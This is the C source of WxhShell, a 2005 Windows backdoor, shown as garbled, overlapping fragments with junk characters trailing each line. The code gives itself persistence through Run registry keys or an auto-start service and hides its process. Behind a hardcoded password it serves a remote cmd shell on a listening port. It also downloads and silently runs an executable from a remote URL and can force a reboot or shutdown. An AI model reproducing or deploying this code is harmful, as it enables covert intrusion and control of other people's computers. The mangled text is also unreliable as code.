    if(Boot(SHUTDOWN)) o`r(`6@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G { mC7@  
    else { v vE\  
    closesocket(wsh); `3iQZu i  
    ExitThread(0); 1x >iz `A  
    } %kU'hzLg  
    break; q9}m!*8e  
    } eK`PxoTI-I  
  // 获取shell ,|To#umym>  
  case 's': { . \5$MIF  
    CmdShell(wsh); (%< 'A  
    closesocket(wsh); I+,SZ]n  
    ExitThread(0); $EBb"+Y'T  
    break; Jfg7\&|  
  } NO>k  
  // 退出 s'_,:R\VM>  
  case 'x': { =K$,E4*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F;D1F+S  
    CloseIt(wsh); +2T! z=  
    break; WtX>Qu|  
    } 5 d ;|=K  
  // 离开 r[HT9  
  case 'q': { w+f=RHX"{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O]nT>;PXX  
    closesocket(wsh); QD<eQsvV  
    WSACleanup(); jQtSwVDr  
    exit(1); :%tuNJjj  
    break; F,v 7ifo#f  
        } OV5e#AOy)  
  } R,Ml&4pZ}  
  } if~rp-\P  
XT||M)#  
  // 提示信息 MTmO>V&O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q a!RH]B3  
} d bO#  
  } YBSl-G'  
d\Jji 6W  
  return; lfS;?~W0k  
} H=. K  
Hq xK\m%,.  
// shell模块句柄  *W^=XbG  
int CmdShell(SOCKET sock) 8B@J Fpg^  
{ #/WAzYt{  
STARTUPINFO si; A8dI:E+$  
ZeroMemory(&si,sizeof(si)); 8wF#e\Va0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gc;B[/:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9e5gy  
PROCESS_INFORMATION ProcessInfo; (fXq<GXAn/  
char cmdline[]="cmd"; l \}25 e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GNghB(  
  return 0; .[f;(WR  
} |U=(b,  
 .fJ*c  
// 自身启动模式 6An{3 "  
int StartFromService(void)  `$-lL"  
{ dt ~iw  
typedef struct ]P*!'iYN(  
{ 97x%w]kV  
  DWORD ExitStatus; @}eNV~ROu  
  DWORD PebBaseAddress; j-* TXog  
  DWORD AffinityMask; c$#GM57V  
  DWORD BasePriority; .3g&9WvN!Z  
  ULONG UniqueProcessId; 2X_>vIlEm  
  ULONG InheritedFromUniqueProcessId; F aWl,}]  
}   PROCESS_BASIC_INFORMATION; 37K U~9-A  
cV]y=q 6  
PROCNTQSIP NtQueryInformationProcess; 7!- \L7<  
$- w5o`e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eU~?p|Np  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ve%l({  
X>/K/M  
  HANDLE             hProcess; &"AQ; %&N  
  PROCESS_BASIC_INFORMATION pbi; L<)Z>@fR  
0P9Wy!f7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "/y|VTV"  
  if(NULL == hInst ) return 0; *8206[y  
5bBCpNa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DR{] sG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6S_y%8Fv&[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0UD"^zgY  
1"$R 3@s;  
  if (!NtQueryInformationProcess) return 0; )KE_t^$  
M c@GH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )l{A{f6O  
  if(!hProcess) return 0; YOKR//|3  
N ^f}ui i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uRGB/ju^E  
,TJ/3_lH  
  CloseHandle(hProcess); =kO@Gk?  
=phiD&=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `5<1EGJsD  
if(hProcess==NULL) return 0; HPTHF  
"GLYyC  
HMODULE hMod; \^m.dIPdO  
char procName[255]; LJ l1v  
unsigned long cbNeeded; =~$U^IsWA  
>D3z V.R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hir(6Bt  
(uT^Nn9L=  
  CloseHandle(hProcess); 4ac1m,Jlt  
^yD"d =z  
if(strstr(procName,"services")) return 1; // 以服务启动 &vkp?UH  
fMzYFM'i  
  return 0; // 注册表启动 y&3TQ]f\  
} -3`Isv  
^Yr|K  
// 主模块 )BB%4=u@~.  
int StartWxhshell(LPSTR lpCmdLine) z0;9SZ9  
{ 4)E|&)-fu8  
  SOCKET wsl; d v[\.T`LY  
BOOL val=TRUE; J 5- rp|  
  int port=0; 3z$HKG  
  struct sockaddr_in door; /evaTQPz  
#Wq#beBb  
  if(wscfg.ws_autoins) Install(); Q_v\1"c  
3f,u}1npa*  
port=atoi(lpCmdLine); {N Y]L==H  
N[]U%9[=2F  
if(port<=0) port=wscfg.ws_port; -g<cinNSp  
tnNZ`]qY  
  WSADATA data; Lv^a+'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kf&r21h  
S8vx[<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F[(6*/46x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BM.-X7)  
  door.sin_family = AF_INET; 1=ip ,D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sD.6"w7}  
  door.sin_port = htons(port); $Llv p bl  
b_ypsGE]5!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "u,sRbL  
closesocket(wsl); tw]/,>\G  
return 1; {QW-g  
} oq243\?Y  
 .?70=8{  
  if(listen(wsl,2) == INVALID_SOCKET) { g"w)@*?K  
closesocket(wsl); 6,a%&1_  
return 1; >|5XaaDa  
} xdCs5ko  
  Wxhshell(wsl); 5UPPk$8 `  
  WSACleanup(); (UXv,_"nU  
z?I+u* rF6  
return 0; Mo~ki"9.  
v^;-@ddr  
} P~o@9RV-  
(}sDm ~;s  
// 以NT服务方式启动 $e>/?Ss  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cv0&prt  
{ QZ?O;K1|y  
DWORD   status = 0; '+tKvTU;  
  DWORD   specificError = 0xfffffff; HqB|SWyK  
VVgsLQd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yW[L,N7d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +tPx0>p;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *ZX!EjICk  
  serviceStatus.dwWin32ExitCode     = 0; OA!R5sOz"  
  serviceStatus.dwServiceSpecificExitCode = 0; vP-3j  
  serviceStatus.dwCheckPoint       = 0; VPdwSW[eM  
  serviceStatus.dwWaitHint       = 0; ^P]?3U\nj  
7:#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O{Dm;@J-aM  
  if (hServiceStatusHandle==0) return; *O!T!J  
>pN;J)H  
status = GetLastError(); (21']x  
  if (status!=NO_ERROR) zUNH8=U  
{ 10/x'#(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ri9Kr  
    serviceStatus.dwCheckPoint       = 0; id3)6}  
    serviceStatus.dwWaitHint       = 0; ^}>zYt  
    serviceStatus.dwWin32ExitCode     = status; q^)=F_QvG  
    serviceStatus.dwServiceSpecificExitCode = specificError; p1Y+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &zO3qt6  
    return; -3u@hp_  
  } /rn"  
Gg'<Q.H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MJy;GzJ O  
  serviceStatus.dwCheckPoint       = 0; F\zkyk 4  
  serviceStatus.dwWaitHint       = 0; P\Ai|"=&]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~6\& y  
} nMTLD  
\FIa,5k8  
// 处理NT服务事件,比如:启动、停止 Gv!BB=ir(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #4Dn@Gqh.Y  
{ E"G:K`Q  
switch(fdwControl) Y]hV-_2+Do  
{ bl$+8 !~  
case SERVICE_CONTROL_STOP: 1 ,#{X3  
  serviceStatus.dwWin32ExitCode = 0; jB5>y&+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kA;xAb+U3  
  serviceStatus.dwCheckPoint   = 0; \8=e |a5`  
  serviceStatus.dwWaitHint     = 0; y;zt_O/  
  { ,:Rft  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rrh<mo(yj#  
  } }Q47_]5  
  return; := ]sq}IN  
case SERVICE_CONTROL_PAUSE: JmnBq<&,0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R)sp  
  break; 3Ne9% "  
case SERVICE_CONTROL_CONTINUE: i7i|370  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #;wkr))  
  break; Uzan7A  
case SERVICE_CONTROL_INTERROGATE: -3C* P  
  break; muL>g_H  
}; LvSP #$f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b`(yu.{Jn  
} 9`)w@-~~  
.jvSAV5B  
// 标准应用程序主函数 3'?h;`v\Lo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) omXBnzT  
{ ) j{WeG7L  
%bCcsdK  
// 获取操作系统版本 83{x"G3>  
OsIsNt=GetOsVer(); 'LJ %.DJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qf_h b  
*37LN  
  // 从命令行安装 YRg=yVo 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ):/<H  
1mT|o_K{ T  
  // 下载执行文件 cmwzKu%  
if(wscfg.ws_downexe) { z*Myokhf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9\AEyaJFZ  
  WinExec(wscfg.ws_filenam,SW_HIDE);  1m&!l6Jk  
} ^U-vD[O8  
C1ZFA![  
if(!OsIsNt) { 7xLo 4  
// 如果时win9x,隐藏进程并且设置为注册表启动 }9L 40)8  
HideProc(); w/lXZg  
StartWxhshell(lpCmdLine); Paae-EmC  
} U@o2gjGN  
else OVDMC4K2z!  
  if(StartFromService()) :6 Hxxh  
  // 以服务方式启动 o8~f   
  StartServiceCtrlDispatcher(DispatchTable); I ybl;u  
else &4mfzpK  
  // 普通方式启动 [_g#x(=  
  StartWxhshell(lpCmdLine); 1TK #eU  
D)H?=G  
return 0; IeR l6r%:  
} ZTQ$Ol+{ q  
NYSj^k;^(z  
-IpV'%nX;  
H B::0l<  
=========================================== sDzD 8as  
W _PM!>8`  
_9}x2uO~  
o1fyNzq<  
#U?EOm  
qP7&LtU  
" . 1{vpX  
}Q{ =:X9  
#include <stdio.h> N:UDbLjw~  
#include <string.h> fl pXVtsQ  
#include <windows.h> b9W<1eqF  
#include <winsock2.h> syWv'Y[k?  
#include <winsvc.h> e.3sAUHZ-  
#include <urlmon.h> 5~`|)~FA  
IQ(]66c ,  
#pragma comment (lib, "Ws2_32.lib") (5f5P84x  
#pragma comment (lib, "urlmon.lib") t7U,AQ=;P5  
'_TJ"lOZ  
#define MAX_USER   100 // 最大客户端连接数 >K_$[qP3  
#define BUF_SOCK   200 // sock buffer /o<}]]YBF  
#define KEY_BUFF   255 // 输入 buffer ,wry u|7"$  
;[WSf{k  
#define REBOOT     0   // 重启 O4b-A3:  
#define SHUTDOWN   1   // 关机 9E->;0-  
H3p4,Y}'#  
#define DEF_PORT   5000 // 监听端口 g(@$uJ  
^Ff~j&L@{  
#define REG_LEN     16   // 注册表键长度 !Zk%P  
#define SVC_LEN     80   // NT服务名长度 f^[{k {t  
bMK#^ZoH  
// 从dll定义API Y\z^\k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,p[\fT($]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nJ'>#9~a'>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VurP1@e&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `&|l;zsS  
(/9.+V_  
// wxhshell配置信息 Ovaj":L  
struct WSCFG { +eV4g2w)  
  int ws_port;         // 监听端口 jza}-=&+e  
  char ws_passstr[REG_LEN]; // 口令  rvwl  
  int ws_autoins;       // 安装标记, 1=yes 0=no *6sJ*lh  
  char ws_regname[REG_LEN]; // 注册表键名 ch)Ps2i  
  char ws_svcname[REG_LEN]; // 服务名 :oon}_MdRd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M0;t%*1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q/rHHuY}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2-c U -i4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8 ACY uN\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HdY3DdC%q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !SO$k%b}!  
j &0fC!k  
}; =E"kv!e   
m>Z\ rqOK  
// default Wxhshell configuration Ul$X%  
struct WSCFG wscfg={DEF_PORT, =}%#$  
    "xuhuanlingzhe", pb/{ss+  
    1, LAK-!!0X  
    "Wxhshell", @??c<]9F  
    "Wxhshell", Fl#VKU3h  
            "WxhShell Service", :YRzI(4J  
    "Wrsky Windows CmdShell Service", 'sjJSc  
    "Please Input Your Password: ", =7J|KoKK  
  1, :C|>y4U&(s  
  "http://www.wrsky.com/wxhshell.exe", g'}`FvADi  
  "Wxhshell.exe" @T,H.#bL  
    }; 7fN&Q~.  
#g-*n@ 1  
// 消息定义模块 L?D~~Jb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iZkW+5(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~-`BSR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `%mBu`A  
char *msg_ws_ext="\n\rExit."; X#Dhk6  
char *msg_ws_end="\n\rQuit."; ?,i#B'Z^  
char *msg_ws_boot="\n\rReboot..."; sS1J.R  
char *msg_ws_poff="\n\rShutdown..."; o7 @4=m}  
char *msg_ws_down="\n\rSave to "; 9 .&Or4>  
:,}:c%-^"  
char *msg_ws_err="\n\rErr!"; nuQLq^e  
char *msg_ws_ok="\n\rOK!"; _#^A:a^e8  
R.2KYhp ,  
char ExeFile[MAX_PATH]; rmg";(I  
int nUser = 0; |S>J<]H p  
HANDLE handles[MAX_USER]; cO=UswIkwO  
int OsIsNt; 8x^H<y=O  
mtWx ?x  
SERVICE_STATUS       serviceStatus; v_@#hf3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3R:7bex  
Y;> p)'z  
// 函数声明 g]@R'2:1  
int Install(void); Cs1%g  
int Uninstall(void); Nz>E#.++  
int DownloadFile(char *sURL, SOCKET wsh); iM\ Z J6  
int Boot(int flag); Y9H *S*n  
void HideProc(void); vRb(eg  
int GetOsVer(void); tN'- qdm  
int Wxhshell(SOCKET wsl); O%++0k;  
void TalkWithClient(void *cs); Pdo5 sve  
int CmdShell(SOCKET sock); {HRxyAI!  
int StartFromService(void); A^r [_dyZ  
int StartWxhshell(LPSTR lpCmdLine); 9tc@   
&h4Z|h[01  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `i>B|g-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z_OqXo=  
9h,yb4jPP  
// 数据结构和表定义 v4k=NH+w  
SERVICE_TABLE_ENTRY DispatchTable[] = :DX/r  
{ [[66[;  
{wscfg.ws_svcname, NTServiceMain}, t6L^ #\'  
{NULL, NULL} [@. jL0>  
}; .k:&&sAz  
|Qt`p@W  
// 自我安装 O'& \-j 1  
int Install(void) 1(;33),P8  
{ YI),q.3X~  
  char svExeFile[MAX_PATH]; l&^[cR  
  HKEY key;  _7j/[  
  strcpy(svExeFile,ExeFile); 4Utx 9^  
#;*ai\6>vD  
// 如果是win9x系统,修改注册表设为自启动 4Tzu"y  
if(!OsIsNt) { ry'^1~,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &A5[C{x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jn:GA@[I  
  RegCloseKey(key); a+a%}76N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >A'!T'"~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : .w'gU_  
  RegCloseKey(key); ]kplb0`  
  return 0; 4;c_%=cU  
    } S5pP"&I[  
  } E?q'|f  
} piiQ  
else { ;k41+O:f@  
_]r)6RT  
// 如果是NT以上系统,安装为系统服务 %"KWjwp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l-h7ksRs  
if (schSCManager!=0) "RJk7]p`*  
{ TcKKI  
  SC_HANDLE schService = CreateService 7E6?)bgh  
  ( 2,e|,N"zN  
  schSCManager, em9]WSfZ@`  
  wscfg.ws_svcname, 8^"|-~#<  
  wscfg.ws_svcdisp, qyBK\WqaP  
  SERVICE_ALL_ACCESS, MdoWqpC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9B;Sk]y  
  SERVICE_AUTO_START, eP'kY(g8   
  SERVICE_ERROR_NORMAL, sK9h=J;F/  
  svExeFile, JK8@J9(#  
  NULL, ?>\]%$5o  
  NULL, $Q$d\Yvi  
  NULL, BLH3$*,H  
  NULL, ,l? 76g  
  NULL fUWm7>6VA>  
  ); 0?L$)T-B  
  if (schService!=0) S| -{wC%  
  { w>q_8V_K  
  CloseServiceHandle(schService); ]aW.b_7<9  
  CloseServiceHandle(schSCManager); [ MXXY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w*ktx{  
  strcat(svExeFile,wscfg.ws_svcname); &fy8,}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x2&! PpM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xY'YbHFz  
  RegCloseKey(key); leYmV FE  
  return 0; 1H[;7@o$e  
    } QEHZ=Yg%3  
  } W6/p-e5y  
  CloseServiceHandle(schSCManager); +#db_k  
} z`:^e1vG  
} 4aGpKvW  
awW\$Q  
return 1; `M<G8ob  
} yhn $4;m  
.p0n\ $r  
// 自我卸载 5F+ f'~  
int Uninstall(void) !<PTsk F  
{ Z6AU%3]  
  HKEY key; L8K3&[l%  
l3|>*szX  
if(!OsIsNt) { Cwa0!y5%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^t%M   
  RegDeleteValue(key,wscfg.ws_regname); i@j ?<  
  RegCloseKey(key); <:7e4#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;3}b&Z[N]  
  RegDeleteValue(key,wscfg.ws_regname); lz0]p  
  RegCloseKey(key); KIY_EE$?  
  return 0; 8=Y|B5   
  } xENA:j?kF  
} 44{:UhJkx  
} 3K:Xxkk  
else { XBt0Ez  
knZd}?I*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  F%$Ws>l  
if (schSCManager!=0) 00wH#_fm  
{ ]Oh>ECA|D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CrX-?$  
  if (schService!=0) ?iO^b.'I#  
  { 7IW7'klkvD  
  if(DeleteService(schService)!=0) { cW/~4.v$  
  CloseServiceHandle(schService); rtOW-cz  
  CloseServiceHandle(schSCManager); p 8Hv7*  
  return 0; Y tj>U  
  } _r)nbQm&  
  CloseServiceHandle(schService); 4IE#dwZW  
  } W&[9x%Ba  
  CloseServiceHandle(schSCManager); |Qq'_4:  
} ^n5QK HD  
} [c%}L 3B  
g8@HAV^H  
return 1; )tg*dE  
} .shI% 'V  
N5]68Fu'({  
// 从指定url下载文件 HY#("=9< h  
int DownloadFile(char *sURL, SOCKET wsh) 8(K~QvE~  
{  ]= D  
  HRESULT hr; Z{)|w=  
char seps[]= "/"; 2YEn)A@8  
char *token; . k DCcnm  
char *file; ]V\ g$@  
char myURL[MAX_PATH]; 52Ffle8  
char myFILE[MAX_PATH]; ~2 ;y4%K  
= $Yk8,  
strcpy(myURL,sURL); OVK(:{PwS  
  token=strtok(myURL,seps); LYKm2C*d  
  while(token!=NULL) t~#+--(  
  { `b$I)UUm  
    file=token; -0){C|,6  
  token=strtok(NULL,seps); n9yv.p]  
  } Ase1R=0  
ECfY~qK  
GetCurrentDirectory(MAX_PATH,myFILE); Ok"wec+,  
strcat(myFILE, "\\"); 9uo\&,,  
strcat(myFILE, file); 7En~~J3  
  send(wsh,myFILE,strlen(myFILE),0); qo ![#s  
send(wsh,"...",3,0); }z@hx@N/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sA j$U^Gp  
  if(hr==S_OK) 1x 8]&  
return 0; :udZfA\sW  
else "q8 'tN><  
return 1; duTSU9  
)2\a5iH  
} PkO(Y!  
6n4S$a  
// 系统电源模块 \EqO;A%<  
int Boot(int flag) ,peFNpi  
{ 0(.C f.B~  
  HANDLE hToken; of<OOh%3  
  TOKEN_PRIVILEGES tkp; DvKMb-*S  
C u5 - w  
  if(OsIsNt) { 7k3\_BHyb\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ";%1sK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $x<-PN  
    tkp.PrivilegeCount = 1; {GY$J<5=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }zLE*b,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z}|'&O*.F  
if(flag==REBOOT) { }:A kpm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }?$Mh)  
  return 0; A-5%_M3\G  
} #wcoLCjs)  
else { {K}+$jzGVt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #]a0 51Y  
  return 0; q\G@Nn^  
} -rrg?4  
  } gNBI?xs`p  
  else { EyiM`)!5  
if(flag==REBOOT) { 34:=A0z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /$Jh5Bv  
  return 0; f:>jH+o.S  
} D-/A>  
else { )oCF| 2qc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U^S0H(>  
  return 0; n+w>Qz'  
} @B <_h+  
} WbF\=;$=7  
Ro69woU  
return 1; -R]S)Odml  
} "^%Il  
2^:nlM{u  
// win9x进程隐藏模块 fz\Az-  
void HideProc(void) ekXHfA!i%  
{ :2+:(^l  
owB)+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pQ JZE7S  
  if ( hKernel != NULL ) W@LR!EW)  
  { \wP$"Z}j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B;$5*3D+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ny0`~bl{p  
    FreeLibrary(hKernel); rA7S1)Kq  
  } q Sah_N  
f&J*(F*u  
return; IB<ihk  
} g>{=R|uO5  
+-i@R%  
// 获取操作系统版本 ME"/%59r  
int GetOsVer(void) F ry5v?22  
{  +yk>jx  
  OSVERSIONINFO winfo; ?xega-l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !cZIoz  
  GetVersionEx(&winfo); Uk#1PcPd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `3Y+:!q  
  return 1; q^)(p' X  
  else Spb'jAKj'  
  return 0; #';r 0?|  
} Tbw8#[6AX  
6kk(FVX  
// 客户端句柄模块 dcsd//E  
int Wxhshell(SOCKET wsl) 3FfS+q*3S  
{ p_( NLJ%  
  SOCKET wsh;  lwlR"Z  
  struct sockaddr_in client; Wh7nli7f_  
  DWORD myID; ]v@,>!Wn  
>jIc/yEYKI  
  while(nUser<MAX_USER) e~1??k.;=  
{ psBBiHB[L  
  int nSize=sizeof(client); ~EymD *  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =6hf'lP  
  if(wsh==INVALID_SOCKET) return 1; /$KW$NH4z  
)deuB5kz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (uE_mEIsv  
if(handles[nUser]==0) 4?cg6WJ'6  
  closesocket(wsh); f sMF46  
else wrWWXOZ 4  
  nUser++; : s35{K  
  } /T0|<r!c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5 X rn]  
DuaOi1Gw  
  return 0; ,k4 (b  
} BC3I{Y |  
d*(1t\  
// 关闭 socket 00ho*p!E'  
void CloseIt(SOCKET wsh) @W8RAS~  
{ u<[Y6m  
closesocket(wsh); l%fl=i~oN  
nUser--; ;iWCV& >w  
ExitThread(0); W NCdk$  
} L=>N#QR7  
*Co+UJjT  
// 客户端请求句柄 -c. a7  
void TalkWithClient(void *cs) `%VrT`  
{ 6mZFsB  
.nnAI@7E  
  SOCKET wsh=(SOCKET)cs; _nF_RpS  
  char pwd[SVC_LEN]; JL1Whf  
  char cmd[KEY_BUFF]; M~v{\!S  
char chr[1]; d] {^  
int i,j; X#fI$9a  
Cs<d\"+  
  while (nUser < MAX_USER) { $K hc?v  
5u8 YHv  
if(wscfg.ws_passstr) { hhpH)Bi=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eG<32$I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i4l?q#X  
  //ZeroMemory(pwd,KEY_BUFF); 6w' ^,V  
      i=0; D0~mu{;c$  
  while(i<SVC_LEN) {  I2b[  
MQ01!Y[q_7  
  // 设置超时 4GJsVA(d|  
  fd_set FdRead; +'l@t bP  
  struct timeval TimeOut; K.k=\N  
  FD_ZERO(&FdRead); +g*Ko@]m>  
  FD_SET(wsh,&FdRead); ey:3F%  
  TimeOut.tv_sec=8; \;~>AL*  
  TimeOut.tv_usec=0; -LF^u;s8&S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tg[+K+b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qzXch["So  
F"_SCA?9?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Y YQnN  
  pwd=chr[0]; z5?xmffB  
  if(chr[0]==0xd || chr[0]==0xa) { $WDa} ~j~^  
  pwd=0; XWk^$"  
  break; Gg_i:4F  
  } TB9ukLG^<<  
  i++; NVQ IRQ.  
    } r__uPyIMG/  
?>e-6*.  
  // 如果是非法用户,关闭 socket lUDzf J}3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0h* AtZv_  
} <~]s+"oVc  
3]T2Zp&;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SOd(& >  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hD"Tjd` P  
1 #_R`(C{  
while(1) { /.vB /{2  
N[Fz6,ZG _  
  ZeroMemory(cmd,KEY_BUFF); 3ILEc:<0J  
ZT!DTb B  
      // 自动支持客户端 telnet标准   +Oo>V~  
  j=0; x.!%'{+ {  
  while(j<KEY_BUFF) { ~qRP.bV%f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #=h~Lr'UH  
  cmd[j]=chr[0]; Q\}5q3  
  if(chr[0]==0xa || chr[0]==0xd) { hW]:CIqk  
  cmd[j]=0; 7 'N&jI   
  break; rTQrlQ:@  
  } r'"H8>UZ%  
  j++; uSH.c>  
    } (JOge~U  
1aKY+4/G  
  // 下载文件 -(dc1?COi  
  if(strstr(cmd,"http://")) { &GX pRo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /K1YDq<=  
  if(DownloadFile(cmd,wsh)) v. !L:1@I.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{|wjZb(  
  else +as(m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqOzArp3  
  } TX$j-TM'  
  else { bNi\+=v<Ys  
?FJU>+{">  
    switch(cmd[0]) { K.B!-<  
  ><+wHb  
